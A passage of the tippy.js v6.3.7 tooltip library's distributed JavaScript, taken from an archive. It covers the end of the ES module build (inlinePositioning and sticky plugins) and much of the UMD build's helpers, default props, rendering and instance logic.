addListener(); } } }, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { mouseCoords = { clientX: event.clientX, clientY: event.clientY }; } wasFocusEvent = event.type === 'focus'; }, onHidden: function onHidden() { if (instance.props.followCursor) { unsetGetReferenceClientRect(); removeListener(); isUnmounted = true; } } }; } }; function getProps(props, modifier) { var _props$popperOptions; return { popperOptions: Object.assign({}, props.popperOptions, { modifiers: [].concat((((_props$popperOptions = props.popperOptions) == null ? void 0 : _props$popperOptions.modifiers) || []).filter(function (_ref) { var name = _ref.name; return name !== modifier.name; }), [modifier]) }) }; } var inlinePositioning = { name: 'inlinePositioning', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; function isEnabled() { return !!instance.props.inlinePositioning; } var placement; var cursorRectIndex = -1; var isInternalUpdate = false; var triedPlacements = []; var modifier = { name: 'tippyInlinePositioning', enabled: true, phase: 'afterWrite', fn: function fn(_ref2) { var state = _ref2.state; if (isEnabled()) { if (triedPlacements.indexOf(state.placement) !== -1) { triedPlacements = []; } if (placement !== state.placement && triedPlacements.indexOf(state.placement) === -1) { triedPlacements.push(state.placement); instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { return _getReferenceClientRect(state.placement); } }); } placement = state.placement; } } }; function _getReferenceClientRect(placement) { return getInlineBoundingClientRect(getBasePlacement(placement), reference.getBoundingClientRect(), arrayFrom(reference.getClientRects()), cursorRectIndex); } function setInternalProps(partialProps) { isInternalUpdate = true; instance.setProps(partialProps); isInternalUpdate = false; } function addModifier() { if (!isInternalUpdate) { setInternalProps(getProps(instance.props, modifier)); } } return { onCreate: addModifier, onAfterUpdate: addModifier, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { var rects = arrayFrom(instance.reference.getClientRects()); var cursorRect = rects.find(function (rect) { return rect.left - 2 <= event.clientX && rect.right + 2 >= event.clientX && rect.top - 2 <= event.clientY && rect.bottom + 2 >= event.clientY; }); var index = rects.indexOf(cursorRect); cursorRectIndex = index > -1 ? index : cursorRectIndex; } }, onHidden: function onHidden() { cursorRectIndex = -1; } }; } }; function getInlineBoundingClientRect(currentBasePlacement, boundingRect, clientRects, cursorRectIndex) { // Not an inline element, or placement is not yet known if (clientRects.length < 2 || currentBasePlacement === null) { return boundingRect; } // There are two rects and they are disjoined if (clientRects.length === 2 && cursorRectIndex >= 0 && clientRects[0].left > clientRects[1].right) { return clientRects[cursorRectIndex] || boundingRect; } switch (currentBasePlacement) { case 'top': case 'bottom': { var firstRect = clientRects[0]; var lastRect = clientRects[clientRects.length - 1]; var isTop = currentBasePlacement === 'top'; var top = firstRect.top; var bottom = lastRect.bottom; var left = isTop ? firstRect.left : lastRect.left; var right = isTop ? firstRect.right : lastRect.right; var width = right - left; var height = bottom - top; return { top: top, bottom: bottom, left: left, right: right, width: width, height: height }; } case 'left': case 'right': { var minLeft = Math.min.apply(Math, clientRects.map(function (rects) { return rects.left; })); var maxRight = Math.max.apply(Math, clientRects.map(function (rects) { return rects.right; })); var measureRects = clientRects.filter(function (rect) { return currentBasePlacement === 'left' ? rect.left === minLeft : rect.right === maxRight; }); var _top = measureRects[0].top; var _bottom = measureRects[measureRects.length - 1].bottom; var _left = minLeft; var _right = maxRight; var _width = _right - _left; var _height = _bottom - _top; return { top: _top, bottom: _bottom, left: _left, right: _right, width: _width, height: _height }; } default: { return boundingRect; } } } var sticky = { name: 'sticky', defaultValue: false, fn: function fn(instance) { var reference = instance.reference, popper = instance.popper; function getReference() { return instance.popperInstance ? instance.popperInstance.state.elements.reference : reference; } function shouldCheck(value) { return instance.props.sticky === true || instance.props.sticky === value; } var prevRefRect = null; var prevPopRect = null; function updatePosition() { var currentRefRect = shouldCheck('reference') ? getReference().getBoundingClientRect() : null; var currentPopRect = shouldCheck('popper') ? popper.getBoundingClientRect() : null; if (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect) || currentPopRect && areRectsDifferent(prevPopRect, currentPopRect)) { if (instance.popperInstance) { instance.popperInstance.update(); } } prevRefRect = currentRefRect; prevPopRect = currentPopRect; if (instance.state.isMounted) { requestAnimationFrame(updatePosition); } } return { onMount: function onMount() { if (instance.props.sticky) { updatePosition(); } } }; } }; function areRectsDifferent(rectA, rectB) { if (rectA && rectB) { return rectA.top !== rectB.top || rectA.right !== rectB.right || rectA.bottom !== rectB.bottom || rectA.left !== rectB.left; } return true; } tippy.setDefaultProps({ render: render }); export default tippy; export { animateFill, createSingleton, delegate, followCursor, hideAll, inlinePositioning, ROUND_ARROW as roundArrow, sticky }; //# sourceMappingURL=tippy.esm.js.map dist/tippy.umd.js 0000666 00000230111 15167156642 0010015 0 ustar 00 /**! * tippy.js v6.3.7 * (c) 2017-2021 atomiks * MIT License */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory(require('@popperjs/core')) : typeof define === 'function' && define.amd ? define(['@popperjs/core'], factory) : (global = global || self, global.tippy = factory(global.Popper)); }(this, (function (core) { 'use strict'; var ROUND_ARROW = '<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>'; var BOX_CLASS = "tippy-box"; var CONTENT_CLASS = "tippy-content"; var BACKDROP_CLASS = "tippy-backdrop"; var ARROW_CLASS = "tippy-arrow"; var SVG_ARROW_CLASS = "tippy-svg-arrow"; var TOUCH_OPTIONS = { passive: true, capture: true }; var TIPPY_DEFAULT_APPEND_TO = function TIPPY_DEFAULT_APPEND_TO() { return document.body; }; function hasOwnProperty(obj, key) { return {}.hasOwnProperty.call(obj, key); } function getValueAtIndexOrReturn(value, index, defaultValue) { if (Array.isArray(value)) { var v = value[index]; return v == null ? Array.isArray(defaultValue) ? defaultValue[index] : defaultValue : v; } return value; } function isType(value, type) { var str = {}.toString.call(value); return str.indexOf('[object') === 0 && str.indexOf(type + "]") > -1; } function invokeWithArgsOrReturn(value, args) { return typeof value === 'function' ? value.apply(void 0, args) : value; } function debounce(fn, ms) { // Avoid wrapping in `setTimeout` if ms is 0 anyway if (ms === 0) { return fn; } var timeout; return function (arg) { clearTimeout(timeout); timeout = setTimeout(function () { fn(arg); }, ms); }; } function removeProperties(obj, keys) { var clone = Object.assign({}, obj); keys.forEach(function (key) { delete clone[key]; }); return clone; } function splitBySpaces(value) { return value.split(/\s+/).filter(Boolean); } function normalizeToArray(value) { return [].concat(value); } function pushIfUnique(arr, value) { if (arr.indexOf(value) === -1) { arr.push(value); } } function unique(arr) { return arr.filter(function (item, index) { return arr.indexOf(item) === index; }); } function getBasePlacement(placement) { return placement.split('-')[0]; } function arrayFrom(value) { return [].slice.call(value); } function removeUndefinedProps(obj) { return Object.keys(obj).reduce(function (acc, key) { if (obj[key] !== undefined) { acc[key] = obj[key]; } return acc; }, {}); } function div() { return document.createElement('div'); } function isElement(value) { return ['Element', 'Fragment'].some(function (type) { return isType(value, type); }); } function isNodeList(value) { return isType(value, 'NodeList'); } function isMouseEvent(value) { return isType(value, 'MouseEvent'); } function isReferenceElement(value) { return !!(value && value._tippy && value._tippy.reference === value); } function getArrayOfElements(value) { if (isElement(value)) { return [value]; } if (isNodeList(value)) { return arrayFrom(value); } if (Array.isArray(value)) { return value; } return arrayFrom(document.querySelectorAll(value)); } function setTransitionDuration(els, value) { els.forEach(function (el) { if (el) { el.style.transitionDuration = value + "ms"; } }); } function setVisibilityState(els, state) { els.forEach(function (el) { if (el) { el.setAttribute('data-state', state); } }); } function getOwnerDocument(elementOrElements) { var _element$ownerDocumen; var _normalizeToArray = normalizeToArray(elementOrElements), element = _normalizeToArray[0]; // Elements created via a <template> have an ownerDocument with no reference to the body return element != null && (_element$ownerDocumen = element.ownerDocument) != null && _element$ownerDocumen.body ? element.ownerDocument : document; } function isCursorOutsideInteractiveBorder(popperTreeData, event) { var clientX = event.clientX, clientY = event.clientY; return popperTreeData.every(function (_ref) { var popperRect = _ref.popperRect, popperState = _ref.popperState, props = _ref.props; var interactiveBorder = props.interactiveBorder; var basePlacement = getBasePlacement(popperState.placement); var offsetData = popperState.modifiersData.offset; if (!offsetData) { return true; } var topDistance = basePlacement === 'bottom' ? offsetData.top.y : 0; var bottomDistance = basePlacement === 'top' ? offsetData.bottom.y : 0; var leftDistance = basePlacement === 'right' ? offsetData.left.x : 0; var rightDistance = basePlacement === 'left' ? offsetData.right.x : 0; var exceedsTop = popperRect.top - clientY + topDistance > interactiveBorder; var exceedsBottom = clientY - popperRect.bottom - bottomDistance > interactiveBorder; var exceedsLeft = popperRect.left - clientX + leftDistance > interactiveBorder; var exceedsRight = clientX - popperRect.right - rightDistance > interactiveBorder; return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight; }); } function updateTransitionEndListener(box, action, listener) { var method = action + "EventListener"; // some browsers apparently support `transition` (unprefixed) but only fire // `webkitTransitionEnd`... ['transitionend', 'webkitTransitionEnd'].forEach(function (event) { box[method](event, listener); }); } /** * Compared to xxx.contains, this function works for dom structures with shadow * dom */ function actualContains(parent, child) { var target = child; while (target) { var _target$getRootNode; if (parent.contains(target)) { return true; } target = target.getRootNode == null ? void 0 : (_target$getRootNode = target.getRootNode()) == null ? void 0 : _target$getRootNode.host; } return false; } var currentInput = { isTouch: false }; var lastMouseMoveTime = 0; /** * When a `touchstart` event is fired, it's assumed the user is using touch * input. We'll bind a `mousemove` event listener to listen for mouse input in * the future. This way, the `isTouch` property is fully dynamic and will handle * hybrid devices that use a mix of touch + mouse input. */ function onDocumentTouchStart() { if (currentInput.isTouch) { return; } currentInput.isTouch = true; if (window.performance) { document.addEventListener('mousemove', onDocumentMouseMove); } } /** * When two `mousemove` event are fired consecutively within 20ms, it's assumed * the user is using mouse input again. `mousemove` can fire on touch devices as * well, but very rarely that quickly. */ function onDocumentMouseMove() { var now = performance.now(); if (now - lastMouseMoveTime < 20) { currentInput.isTouch = false; document.removeEventListener('mousemove', onDocumentMouseMove); } lastMouseMoveTime = now; } /** * When an element is in focus and has a tippy, leaving the tab/window and * returning causes it to show again. For mouse users this is unexpected, but * for keyboard use it makes sense. * TODO: find a better technique to solve this problem */ function onWindowBlur() { var activeElement = document.activeElement; if (isReferenceElement(activeElement)) { var instance = activeElement._tippy; if (activeElement.blur && !instance.state.isVisible) { activeElement.blur(); } } } function bindGlobalEventListeners() { document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS); window.addEventListener('blur', onWindowBlur); } var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined'; var isIE11 = isBrowser ? // @ts-ignore !!window.msCrypto : false; function createMemoryLeakWarning(method) { var txt = method === 'destroy' ? 'n already-' : ' '; return [method + "() was called on a" + txt + "destroyed instance. This is a no-op but", 'indicates a potential memory leak.'].join(' '); } function clean(value) { var spacesAndTabs = /[ \t]{2,}/g; var lineStartWithSpaces = /^[ \t]*/gm; return value.replace(spacesAndTabs, ' ').replace(lineStartWithSpaces, '').trim(); } function getDevMessage(message) { return clean("\n %ctippy.js\n\n %c" + clean(message) + "\n\n %c\uD83D\uDC77\u200D This is a development-only message. It will be removed in production.\n "); } function getFormattedMessage(message) { return [getDevMessage(message), // title 'color: #00C584; font-size: 1.3em; font-weight: bold;', // message 'line-height: 1.5', // footer 'color: #a6a095;']; } // Assume warnings and errors never have the same message var visitedMessages; { resetVisitedMessages(); } function resetVisitedMessages() { visitedMessages = new Set(); } function warnWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console; visitedMessages.add(message); (_console = console).warn.apply(_console, getFormattedMessage(message)); } } function errorWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console2; visitedMessages.add(message); (_console2 = console).error.apply(_console2, getFormattedMessage(message)); } } function validateTargets(targets) { var didPassFalsyValue = !targets; var didPassPlainObject = Object.prototype.toString.call(targets) === '[object Object]' && !targets.addEventListener; errorWhen(didPassFalsyValue, ['tippy() was passed', '`' + String(targets) + '`', 'as its targets (first) argument. Valid types are: String, Element,', 'Element[], or NodeList.'].join(' ')); errorWhen(didPassPlainObject, ['tippy() was passed a plain object which is not supported as an argument', 'for virtual positioning. Use props.getReferenceClientRect instead.'].join(' ')); } var pluginProps = { animateFill: false, followCursor: false, inlinePositioning: false, sticky: false }; var renderProps = { allowHTML: false, animation: 'fade', arrow: true, content: '', inertia: false, maxWidth: 350, role: 'tooltip', theme: '', zIndex: 9999 }; var defaultProps = Object.assign({ appendTo: TIPPY_DEFAULT_APPEND_TO, aria: { content: 'auto', expanded: 'auto' }, delay: 0, duration: [300, 250], getReferenceClientRect: null, hideOnClick: true, ignoreAttributes: false, interactive: false, interactiveBorder: 2, interactiveDebounce: 0, moveTransition: '', offset: [0, 10], onAfterUpdate: function onAfterUpdate() {}, onBeforeUpdate: function onBeforeUpdate() {}, onCreate: function onCreate() {}, onDestroy: function onDestroy() {}, onHidden: function onHidden() {}, onHide: function onHide() {}, onMount: function onMount() {}, onShow: function onShow() {}, onShown: function onShown() {}, onTrigger: function onTrigger() {}, onUntrigger: function onUntrigger() {}, onClickOutside: function onClickOutside() {}, placement: 'top', plugins: [], popperOptions: {}, render: null, showOnCreate: false, touch: true, trigger: 'mouseenter focus', triggerTarget: null }, pluginProps, renderProps); var defaultKeys = Object.keys(defaultProps); var setDefaultProps = function setDefaultProps(partialProps) { /* istanbul ignore else */ { validateProps(partialProps, []); } var keys = Object.keys(partialProps); keys.forEach(function (key) { defaultProps[key] = partialProps[key]; }); }; function getExtendedPassedProps(passedProps) { var plugins = passedProps.plugins || []; var pluginProps = plugins.reduce(function (acc, plugin) { var name = plugin.name, defaultValue = plugin.defaultValue; if (name) { var _name; acc[name] = passedProps[name] !== undefined ? passedProps[name] : (_name = defaultProps[name]) != null ? _name : defaultValue; } return acc; }, {}); return Object.assign({}, passedProps, pluginProps); } function getDataAttributeProps(reference, plugins) { var propKeys = plugins ? Object.keys(getExtendedPassedProps(Object.assign({}, defaultProps, { plugins: plugins }))) : defaultKeys; var props = propKeys.reduce(function (acc, key) { var valueAsString = (reference.getAttribute("data-tippy-" + key) || '').trim(); if (!valueAsString) { return acc; } if (key === 'content') { acc[key] = valueAsString; } else { try { acc[key] = JSON.parse(valueAsString); } catch (e) { acc[key] = valueAsString; } } return acc; }, {}); return props; } function evaluateProps(reference, props) { var out = Object.assign({}, props, { content: invokeWithArgsOrReturn(props.content, [reference]) }, props.ignoreAttributes ? {} : getDataAttributeProps(reference, props.plugins)); out.aria = Object.assign({}, defaultProps.aria, out.aria); out.aria = { expanded: out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded, content: out.aria.content === 'auto' ? props.interactive ? null : 'describedby' : out.aria.content }; return out; } function validateProps(partialProps, plugins) { if (partialProps === void 0) { partialProps = {}; } if (plugins === void 0) { plugins = []; } var keys = Object.keys(partialProps); keys.forEach(function (prop) { var nonPluginProps = removeProperties(defaultProps, Object.keys(pluginProps)); var didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop); // Check if the prop exists in `plugins` if (didPassUnknownProp) { didPassUnknownProp = plugins.filter(function (plugin) { return plugin.name === prop; }).length === 0; } warnWhen(didPassUnknownProp, ["`" + prop + "`", "is not a valid prop. You may have spelled it incorrectly, or if it's", 'a plugin, forgot to pass it in an array as props.plugins.', '\n\n', 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\n', 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/'].join(' ')); }); } var innerHTML = function innerHTML() { return 'innerHTML'; }; function dangerouslySetInnerHTML(element, html) { element[innerHTML()] = html; } function createArrowElement(value) { var arrow = div(); if (value === true) { arrow.className = ARROW_CLASS; } else { arrow.className = SVG_ARROW_CLASS; if (isElement(value)) { arrow.appendChild(value); } else { dangerouslySetInnerHTML(arrow, value); } } return arrow; } function setContent(content, props) { if (isElement(props.content)) { dangerouslySetInnerHTML(content, ''); content.appendChild(props.content); } else if (typeof props.content !== 'function') { if (props.allowHTML) { dangerouslySetInnerHTML(content, props.content); } else { content.textContent = props.content; } } } function getChildren(popper) { var box = popper.firstElementChild; var boxChildren = arrayFrom(box.children); return { box: box, content: boxChildren.find(function (node) { return node.classList.contains(CONTENT_CLASS); }), arrow: boxChildren.find(function (node) { return node.classList.contains(ARROW_CLASS) || node.classList.contains(SVG_ARROW_CLASS); }), backdrop: boxChildren.find(function (node) { return node.classList.contains(BACKDROP_CLASS); }) }; } function render(instance) { var popper = div(); var box = div(); box.className = BOX_CLASS; box.setAttribute('data-state', 'hidden'); box.setAttribute('tabindex', '-1'); var content = div(); content.className = CONTENT_CLASS; content.setAttribute('data-state', 'hidden'); setContent(content, instance.props); popper.appendChild(box); box.appendChild(content); onUpdate(instance.props, instance.props); function onUpdate(prevProps, nextProps) { var _getChildren = getChildren(popper), box = _getChildren.box, content = _getChildren.content, arrow = _getChildren.arrow; if (nextProps.theme) { box.setAttribute('data-theme', nextProps.theme); } else { box.removeAttribute('data-theme'); } if (typeof nextProps.animation === 'string') { box.setAttribute('data-animation', nextProps.animation); } else { box.removeAttribute('data-animation'); } if (nextProps.inertia) { box.setAttribute('data-inertia', ''); } else { box.removeAttribute('data-inertia'); } box.style.maxWidth = typeof nextProps.maxWidth === 'number' ? nextProps.maxWidth + "px" : nextProps.maxWidth; if (nextProps.role) { box.setAttribute('role', nextProps.role); } else { box.removeAttribute('role'); } if (prevProps.content !== nextProps.content || prevProps.allowHTML !== nextProps.allowHTML) { setContent(content, instance.props); } if (nextProps.arrow) { if (!arrow) { box.appendChild(createArrowElement(nextProps.arrow)); } else if (prevProps.arrow !== nextProps.arrow) { box.removeChild(arrow); box.appendChild(createArrowElement(nextProps.arrow)); } } else if (arrow) { box.removeChild(arrow); } } return { popper: popper, onUpdate: onUpdate }; } // Runtime check to identify if the render function is the default one; this // way we can apply default CSS transitions logic and it can be tree-shaken away render.$$tippy = true; var idCounter = 1; var mouseMoveListeners = []; // Used by `hideAll()` var mountedInstances = []; function createTippy(reference, passedProps) { var props = evaluateProps(reference, Object.assign({}, defaultProps, getExtendedPassedProps(removeUndefinedProps(passedProps)))); // =========================================================================== // 🔒 Private members // =========================================================================== var showTimeout; var hideTimeout; var scheduleHideAnimationFrame; var isVisibleFromClick = false; var didHideDueToDocumentMouseDown = false; var didTouchMove = false; var ignoreOnFirstUpdate = false; var lastTriggerEvent; var currentTransitionEndListener; var onFirstUpdate; var listeners = []; var debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce); var currentTarget; // =========================================================================== // 🔑 Public members // =========================================================================== var id = idCounter++; var popperInstance = null; var plugins = unique(props.plugins); var state = { // Is the instance currently enabled? isEnabled: true, // Is the tippy currently showing and not transitioning out? isVisible: false, // Has the instance been destroyed? isDestroyed: false, // Is the tippy currently mounted to the DOM? isMounted: false, // Has the tippy finished transitioning in? isShown: false }; var instance = { // properties id: id, reference: reference, popper: div(), popperInstance: popperInstance, props: props, state: state, plugins: plugins, // methods clearDelayTimeouts: clearDelayTimeouts, setProps: setProps, setContent: setContent, show: show, hide: hide, hideWithInteractivity: hideWithInteractivity, enable: enable, disable: disable, unmount: unmount, destroy: destroy }; // TODO: Investigate why this early return causes a TDZ error in the tests — // it doesn't seem to happen in the browser /* istanbul ignore if */ if (!props.render) { { errorWhen(true, 'render() function has not been supplied.'); } return instance; } // =========================================================================== // Initial mutations // =========================================================================== var _props$render = props.render(instance), popper = _props$render.popper, onUpdate = _props$render.onUpdate; popper.setAttribute('data-tippy-root', ''); popper.id = "tippy-" + instance.id; instance.popper = popper; reference._tippy = instance; popper._tippy = instance; var pluginsHooks = plugins.map(function (plugin) { return plugin.fn(instance); }); var hasAriaExpanded = reference.hasAttribute('aria-expanded'); addListeners(); handleAriaExpandedAttribute(); handleStyles(); invokeHook('onCreate', [instance]); if (props.showOnCreate) { scheduleShow(); } // Prevent a tippy with a delay from hiding if the cursor left then returned // before it started hiding popper.addEventListener('mouseenter', function () { if (instance.props.interactive && instance.state.isVisible) { instance.clearDelayTimeouts(); } }); popper.addEventListener('mouseleave', function () { if (instance.props.interactive && instance.props.trigger.indexOf('mouseenter') >= 0) { getDocument().addEventListener('mousemove', debouncedOnMouseMove); } }); return instance; // =========================================================================== // 🔒 Private methods // =========================================================================== function getNormalizedTouchSettings() { var touch = instance.props.touch; return Array.isArray(touch) ? touch : [touch, 0]; } function getIsCustomTouchBehavior() { return getNormalizedTouchSettings()[0] === 'hold'; } function getIsDefaultRenderFn() { var _instance$props$rende; // @ts-ignore return !!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy); } function getCurrentTarget() { return currentTarget || reference; } function getDocument() { var parent = getCurrentTarget().parentNode; return parent ? getOwnerDocument(parent) : document; } function getDefaultTemplateChildren() { return getChildren(popper); } function getDelay(isShow) { // For touch or keyboard input, force `0` delay for UX reasons // Also if the instance is mounted but not visible (transitioning out), // ignore delay if (instance.state.isMounted && !instance.state.isVisible || currentInput.isTouch || lastTriggerEvent && lastTriggerEvent.type === 'focus') { return 0; } return getValueAtIndexOrReturn(instance.props.delay, isShow ? 0 : 1, defaultProps.delay); } function handleStyles(fromHide) { if (fromHide === void 0) { fromHide = false; } popper.style.pointerEvents = instance.props.interactive && !fromHide ? '' : 'none'; popper.style.zIndex = "" + instance.props.zIndex; } function invokeHook(hook, args, shouldInvokePropsHook) { if (shouldInvokePropsHook === void 0) { shouldInvokePropsHook = true; } pluginsHooks.forEach(function (pluginHooks) { if (pluginHooks[hook]) { pluginHooks[hook].apply(pluginHooks, args); } }); if (shouldInvokePropsHook) { var _instance$props; (_instance$props = instance.props)[hook].apply(_instance$props, args); } } function handleAriaContentAttribute() { var aria = instance.props.aria; if (!aria.content) { return; } var attr = "aria-" + aria.content; var id = popper.id; var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { var currentValue = node.getAttribute(attr); if (instance.state.isVisible) { node.setAttribute(attr, currentValue ? currentValue + " " + id : id); } else { var nextValue = currentValue && currentValue.replace(id, '').trim(); if (nextValue) { node.setAttribute(attr, nextValue); } else { node.removeAttribute(attr); } } }); } function handleAriaExpandedAttribute() { if (hasAriaExpanded || !instance.props.aria.expanded) { return; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { if (instance.props.interactive) { node.setAttribute('aria-expanded', instance.state.isVisible && node === getCurrentTarget() ? 'true' : 'false'); } else { node.removeAttribute('aria-expanded'); } }); } function cleanupInteractiveMouseListeners() { getDocument().removeEventListener('mousemove', debouncedOnMouseMove); mouseMoveListeners = mouseMoveListeners.filter(function (listener) { return listener !== debouncedOnMouseMove; }); } function onDocumentPress(event) { // Moved finger to scroll instead of an intentional tap outside if (currentInput.isTouch) { if (didTouchMove || event.type === 'mousedown') { return; } } var actualTarget = event.composedPath && event.composedPath()[0] || event.target; // Clicked on interactive popper if (instance.props.interactive && actualContains(popper, actualTarget)) { return; } // Clicked on the event listeners target if (normalizeToArray(instance.props.triggerTarget || reference).some(function (el) { return actualContains(el, actualTarget); })) { if (currentInput.isTouch) { return; } if (instance.state.isVisible && instance.props.trigger.indexOf('click') >= 0) { return; } } else { invokeHook('onClickOutside', [instance, event]); } if (instance.props.hideOnClick === true) { instance.clearDelayTimeouts(); instance.hide(); // `mousedown` event is fired right before `focus` if pressing the // currentTarget. This lets a tippy with `focus` trigger know that it // should not show didHideDueToDocumentMouseDown = true; setTimeout(function () { didHideDueToDocumentMouseDown = false; }); // The listener gets added in `scheduleShow()`, but this may be hiding it // before it shows, and hide()'s early bail-out behavior can prevent it // from being cleaned up if (!instance.state.isMounted) { removeDocumentPress(); } } } function onTouchMove() { didTouchMove = true; } function onTouchStart() { didTouchMove = false; } function addDocumentPress() { var doc = getDocument(); doc.addEventListener('mousedown', onDocumentPress, true); doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function removeDocumentPress() { var doc = getDocument(); doc.removeEventListener('mousedown', onDocumentPress, true); doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function onTransitionedOut(duration, callback) { onTransitionEnd(duration, function () { if (!instance.state.isVisible && popper.parentNode && popper.parentNode.contains(popper)) { callback(); } }); } function onTransitionedIn(duration, callback) { onTransitionEnd(duration, callback); } function onTransitionEnd(duration, callback) { var box = getDefaultTemplateChildren().box; function listener(event) { if (event.target === box) { updateTransitionEndListener(box, 'remove', listener); callback(); } } // Make callback synchronous if duration is 0 // `transitionend` won't fire otherwise if (duration === 0) { return callback(); } updateTransitionEndListener(box, 'remove', currentTransitionEndListener); updateTransitionEndListener(box, 'add', listener); currentTransitionEndListener = listener; } function on(eventType, handler, options) { if (options === void 0) { options = false; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); }); } function addListeners() { if (getIsCustomTouchBehavior()) { on('touchstart', onTrigger, { passive: true }); on('touchend', onMouseLeave, { passive: true }); } splitBySpaces(instance.props.trigger).forEach(function (eventType) { if (eventType === 'manual') { return; } on(eventType, onTrigger); switch (eventType) { case 'mouseenter': on('mouseleave', onMouseLeave); break; case 'focus': on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut); break; case 'focusin': on('focusout', onBlurOrFocusOut); break; } }); } function removeListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function onTrigger(event) { var _lastTriggerEvent; var shouldScheduleClickHide = false; if (!instance.state.isEnabled || isEventListenerStopped(event) || didHideDueToDocumentMouseDown) { return; } var wasFocused = ((_lastTriggerEvent = lastTriggerEvent) == null ? void 0 : _lastTriggerEvent.type) === 'focus'; lastTriggerEvent = event; currentTarget = event.currentTarget; handleAriaExpandedAttribute(); if (!instance.state.isVisible && isMouseEvent(event)) { // If scrolling, `mouseenter` events can be fired if the cursor lands // over a new target, but `mousemove` events don't get fired. This // causes interactive tooltips to get stuck open until the cursor is // moved mouseMoveListeners.forEach(function (listener) { return listener(event); }); } // Toggle show/hide when clicking click-triggered tooltips if (event.type === 'click' && (instance.props.trigger.indexOf('mouseenter') < 0 || isVisibleFromClick) && instance.props.hideOnClick !== false && instance.state.isVisible) { shouldScheduleClickHide = true; } else { scheduleShow(event); } if (event.type === 'click') { isVisibleFromClick = !shouldScheduleClickHide; } if (shouldScheduleClickHide && !wasFocused) { scheduleHide(event); } } function onMouseMove(event) { var target = event.target; var isCursorOverReferenceOrPopper = getCurrentTarget().contains(target) || popper.contains(target); if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) { return; } var popperTreeData = getNestedPopperTree().concat(popper).map(function (popper) { var _instance$popperInsta; var instance = popper._tippy; var state = (_instance$popperInsta = instance.popperInstance) == null ? void 0 : _instance$popperInsta.state; if (state) { return { popperRect: popper.getBoundingClientRect(), popperState: state, props: props }; } return null; }).filter(Boolean); if (isCursorOutsideInteractiveBorder(popperTreeData, event)) { cleanupInteractiveMouseListeners(); scheduleHide(event); } } function onMouseLeave(event) { var shouldBail = isEventListenerStopped(event) || instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick; if (shouldBail) { return; } if (instance.props.interactive) { instance.hideWithInteractivity(event); return; } scheduleHide(event); } function onBlurOrFocusOut(event) { if (instance.props.trigger.indexOf('focusin') < 0 && event.target !== getCurrentTarget()) { return; } // If focus was moved to within the popper if (instance.props.interactive && event.relatedTarget && popper.contains(event.relatedTarget)) { return; } scheduleHide(event); } function isEventListenerStopped(event) { return currentInput.isTouch ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0 : false; } function createPopperInstance() { destroyPopperInstance(); var _instance$props2 = instance.props, popperOptions = _instance$props2.popperOptions, placement = _instance$props2.placement, offset = _instance$props2.offset, getReferenceClientRect = _instance$props2.getReferenceClientRect, moveTransition = _instance$props2.moveTransition; var arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null; var computedReference = getReferenceClientRect ? { getBoundingClientRect: getReferenceClientRect, contextElement: getReferenceClientRect.contextElement || getCurrentTarget() } : reference; var tippyModifier = { name: '$$tippy', enabled: true, phase: 'beforeWrite', requires: ['computeStyles'], fn: function fn(_ref2) { var state = _ref2.state; if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh = getDefaultTemplateChildren(), box = _getDefaultTemplateCh.box; ['placement', 'reference-hidden', 'escaped'].forEach(function (attr) { if (attr === 'placement') { box.setAttribute('data-placement', state.placement); } else { if (state.attributes.popper["data-popper-" + attr]) { box.setAttribute("data-" + attr, ''); } else { box.removeAttribute("data-" + attr); } } }); state.attributes.popper = {}; } } }; var modifiers = [{ name: 'offset', options: { offset: offset } }, { name: 'preventOverflow', options: { padding: { top: 2, bottom: 2, left: 5, right: 5 } } }, { name: 'flip', options: { padding: 5 } }, { name: 'computeStyles', options: { adaptive: !moveTransition } }, tippyModifier]; if (getIsDefaultRenderFn() && arrow) { modifiers.push({ name: 'arrow', options: { element: arrow, padding: 3 } }); } modifiers.push.apply(modifiers, (popperOptions == null ? void 0 : popperOptions.modifiers) || []); instance.popperInstance = core.createPopper(computedReference, popper, Object.assign({}, popperOptions, { placement: placement, onFirstUpdate: onFirstUpdate, modifiers: modifiers })); } function destroyPopperInstance() { if (instance.popperInstance) { instance.popperInstance.destroy(); instance.popperInstance = null; } } function mount() { var appendTo = instance.props.appendTo; var parentNode; // By default, we'll append the popper to the triggerTargets's parentNode so // it's directly 